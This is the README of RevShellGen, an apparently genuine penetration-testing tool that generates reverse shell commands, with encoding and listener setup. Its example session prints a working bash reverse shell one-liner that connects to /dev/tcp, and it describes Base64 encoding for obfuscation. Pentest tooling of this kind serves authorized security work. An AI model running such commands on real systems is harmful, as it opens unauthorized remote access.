📖 About

RevShellGen is a powerful command-line tool that simplifies the process of generating reverse shell commands. No more looking up syntax, no more manual encoding, no more configuration headaches. This tool handles it all with an intuitive interface.

🎯 Key Features

• 🖥️ Interactive CLI - User-friendly menu-driven interface
• 🔄 Automatic encoding - URL and Base64 encoding support
• 📋 Clipboard integration - Auto-copy generated commands
• 🌐 Network detection - Automatic IP address discovery
• 🎨 Multiple shell types - Bash, Python, Netcat, PowerShell, and more
• 🔊 Built-in listener - Automatic netcat/ncat listener setup
• 🍎 Cross-platform - Full support for Linux and macOS
• 📚 TTY upgrade guide - Comprehensive instructions for shell upgrades

🚀 Quick Start

Option 1: Install from PyPI

# Install from PyPI
pip install revshellgen

# Run the tool
revshellgen

Option 2: Install from Source

# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Install dependencies
pip3 install -r requirements.txt

# Run the tool
python3 revshellgen.py  # or python3 revshellgen_cli.py

📦 Installation

Prerequisites

• Python 3.6 or higher
• pip (Python package manager)

Dependencies

RevShellGen requires the following Python packages:

Installation Methods

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Platform-Specific Notes

🐧 Linux

# You may need to install python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Install ncat for better listener support
brew install nmap  # Includes ncat

💻 Usage

Basic Workflow

1. Start the tool

   python3 revshellgen.py
   

2. Configure your reverse shell

   • Select your IP address (auto-detected)
   • Choose a port (e.g., 4444, 9001)
   • Select shell type (bash, python, etc.)
   • Choose encoding (none, URL, Base64)

3. Generated command is automatically copied to clipboard

4. Start the listener (automatic)

5. Execute the command on the target machine

📸 Screenshots

Shell Selection

Command Generation

🐚 Supported Shells

🔧 Advanced Features

TTY Shell Upgrade

RevShellGen now includes comprehensive TTY upgrade instructions. After catching a shell, the tool provides:

• Step-by-step PTY spawn methods
• Terminal size detection and configuration
• Multiple upgrade techniques for different environments
• Troubleshooting tips for common issues
• Quick reference commands

Encoding Options

• None - Raw command output
• URL Encode - For web application exploitation
• Base64 - For command obfuscation

Listener Options

The tool automatically detects and uses the appropriate netcat variant:

• ncat (preferred, from nmap package)
• nc (traditional netcat)
• macOS-specific nc syntax support

📝 Example Session

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444

---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

Development Setup

# Clone your fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# Create a branch
git checkout -b feature/your-feature-name

# Make your changes and commit
git add .
git commit -m "Add your feature"

# Push to your fork
git push origin feature/your-feature-name

# Create a Pull Request

🐛 Issues & Support

Found a bug or have a suggestion? Please open an issue on GitHub.

📜 License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.

⚠️ Disclaimer

This tool is intended for authorized penetration testing and educational purposes only.

The use of this tool against systems you do not own or have explicit permission to test is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

🙏 Acknowledgments

• PayloadsAllTheThings - Reverse shell references
• ropnop - TTY upgrade techniques
• PentestMonkey - Reverse shell cheat sheet
• All contributors and users of this tool